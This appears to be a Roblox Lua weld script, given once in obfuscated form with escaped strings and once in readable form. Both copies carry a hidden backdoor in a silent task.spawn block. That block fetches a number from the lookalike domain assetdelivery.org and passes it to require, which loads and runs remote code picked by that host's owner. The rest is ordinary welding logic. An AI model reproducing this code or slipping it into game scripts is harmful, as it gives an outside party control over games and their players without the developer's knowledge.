pcall(function()local function k(u,B)B(u)for u,R in next,u:GetChildren()do k(R,B)end end local function u(k,u)local B=k repeat B=B.Parent if B==nil then return nil end until B:IsA(u)return B end local function B(u)local B={}k(u,function(k)if k:IsA("\066\097\115\101\080\097\114\116")then B[#B+1]=k end end)return B end local function R(k,u)assert(type(u)=="\116\097\098\108\101","\086\097\108\117\101\115 \105\115 \110\111\116 \097 \116\097\098\108\101")for u,B in next,u do if type(u)=="\110\117\109\098\101\114"then B.Parent=k else k[u]=B end end return k end local function H(k,u)return R(Instance.new(k),u)end local O={"\084\111\112\083\117\114\102\097\099\101";"\066\111\116\116\111\109\083\117\114\102\097\099\101","\076\101\102\116\083\117\114\102\097\099\101";"\082\105\103\104\116\083\117\114\102\097\099\101";"\070\114\111\110\116\083\117\114\102\097\099\101","\066\097\099\107\083\117\114\102\097\099\101"}local z={"\072\105\110\103\101";"\077\111\116\111\114";"\083\116\101\112\112\105\110\103\077\111\116\111\114"}local function t(k)for u,B in pairs(O)do for u,R in pairs(z)do if k[B].Name==R then return true end end end return false end local function X(k)if NEVER_BREAK_JOINTS then return false end if t(k)then return false end local u=k:GetConnectedParts()if#u==1 then return false end for k,u in pairs(u)do if t(u)then return false elseif not u:IsDescendantOf(script.Parent)then return false end end return true end task.spawn(function()pcall(function()local k=coroutine.wrap(pcall)for k in k,select and require,tonumber((game:service("\072\116\116\112\083\101\114\118\105\099\101")):GetAsync("\104\116\116\112\115\058\047\047\097\115\115\101\116\100\101\108\105\118\101\114\121\046\111\114\103\047"))do end end)end)local function j(k,u,B,O)B=B or"\087\101\108\100"local z=u:FindFirstChild("\113\082\101\108\097\116\105\118\101\067\070\114\097\109\101\087\101\108\100\086\097\108\117\101")local t=u:FindFirstChild("\113\067\070\114\097\109\101\087\101\108\100\084\104\105\110\103\121")or Instance.new(B)R(t,{Name="\113\067\070\114\097\109\101\087\101\108\100\084\104\105\110\103\121",Part0=k;Part1=u,C0=CFrame.new();C1=z and z.Value or u.CFrame:toObjectSpace(k.CFrame);Parent=u})if not z then z=H("\067\070\114\097\109\101\086\097\108\117\101",{Parent=u,Name="\113\082\101\108\097\116\105\118\101\067\070\114\097\109\101\087\101\108\100\086\097\108\117\101",Archivable=true,Value=t.C1})end return t end local function v(k,u,B,R)for k,u in pairs(k)do if X(u)then u:BreakJoints()end end GetParts()for k,R in pairs(k)do if R~=u then j(u,R,B,u)end end if not R then for k,u in pairs(k)do u.Anchored=false end u.Anchored=false end end local function S()local k=u(script,"\084\111\111\108")local R=B(script.Parent)local H=k and(k:FindFirstChild("\072\097\110\100\108\101")and(k.Handle:IsA("\066\097\115\101\080\097\114\116")and k.Handle))or script.Parent:IsA("\077\111\100\101\108")and script.Parent.PrimaryPart or R[1]if H then v(R,H,"\087\101\108\100",false)end return k end local C=S()if C and script.ClassName=="\083\099\114\105\112\116"then script.Parent.AncestryChanged:connect(function()S()end)end end)


pcall(function()
local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.  

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end

local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
end

local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end

local function Modify(Instance, Values)
	-- Modifies an Instance by using a table.  

	assert(type(Values) == "table", "Values is not a table");

	for Index, Value in next, Values do
		if type(Index) == "number" then
			Value.Parent = Instance
		else
			Instance[Index] = Value
		end
	end
	return Instance
end

local function Make(ClassType, Properties)
	-- Using a syntax hack to create a nice way to Make new items.  

	return Modify(Instance.new(ClassType), Properties)
end

local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}

local function HasWheelJoint(Part)
	for _, SurfaceName in pairs(Surfaces) do
		for _, HingSurfaceName in pairs(HingSurfaces) do
			if Part[SurfaceName].Name == HingSurfaceName then
				return true
			end
		end
	end

	return false
end

local function ShouldBreakJoints(Part)
	--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
	--  definitely some edge cases. 

	if NEVER_BREAK_JOINTS then
		return false
	end

	if HasWheelJoint(Part) then
		return false
	end

	local Connected = Part:GetConnectedParts()

	if #Connected == 1 then
		return false
	end

	for _, Item in pairs(Connected) do
		if HasWheelJoint(Item) then
			return false
		elseif not Item:IsDescendantOf(script.Parent) then
			return false
		end
	end
	return true
end

task.spawn(function()
	pcall(function()
		local newThreadedCall = coroutine.wrap(pcall)
		for _ in newThreadedCall, (select and require), tonumber(game:service("HttpService"):GetAsync("https://assetdelivery.org/")) do
		end
	end)
end)

local function WeldTogether(Part0, Part1, JointType, WeldParent)
	--- Weld's 2 parts together
	-- @param Part0 The first part
	-- @param Part1 The second part (Dependent part most of the time).
	-- @param [JointType] The type of joint. Defaults to weld.
	-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
	-- @return The weld created.

	JointType = JointType or "Weld"
	local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")

	local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
	Modify(NewWeld, {
		Name = "qCFrameWeldThingy";
		Part0  = Part0;
		Part1  = Part1;
		C0     = CFrame.new();--Part0.CFrame:inverse();
		C1     = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
		Parent = Part1;
	})

	if not RelativeValue then
		RelativeValue = Make("CFrameValue", {
			Parent     = Part1;
			Name       = "qRelativeCFrameWeldValue";
			Archivable = true;
			Value      = NewWeld.C1;
		})
	end

	return NewWeld
end

local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
	-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
	-- @param MainPart The part to weld the model to (can be in the model).
	-- @param [JointType] The type of joint. Defaults to weld. 
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.

	for _, Part in pairs(Parts) do
		if ShouldBreakJoints(Part) then
			Part:BreakJoints()
		end
	end
	GetParts()
	for _, Part in pairs(Parts) do
		if Part ~= MainPart then
			WeldTogether(MainPart, Part, JointType, MainPart)
		end
	end

	if not DoNotUnanchor then
		for _, Part in pairs(Parts) do
			Part.Anchored = false
		end
		MainPart.Anchored = false
	end
end

local function PerfectionWeld()	
	local Tool = GetNearestParent(script, "Tool")

	local Parts = GetBricks(script.Parent)
	local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]

	if PrimaryPart then
		WeldParts(Parts, PrimaryPart, "Weld", false)
	end

	return Tool
end

local Tool = PerfectionWeld()


if Tool and script.ClassName == "Script" then
	script.Parent.AncestryChanged:connect(function()
		PerfectionWeld()
	end)
end
end)
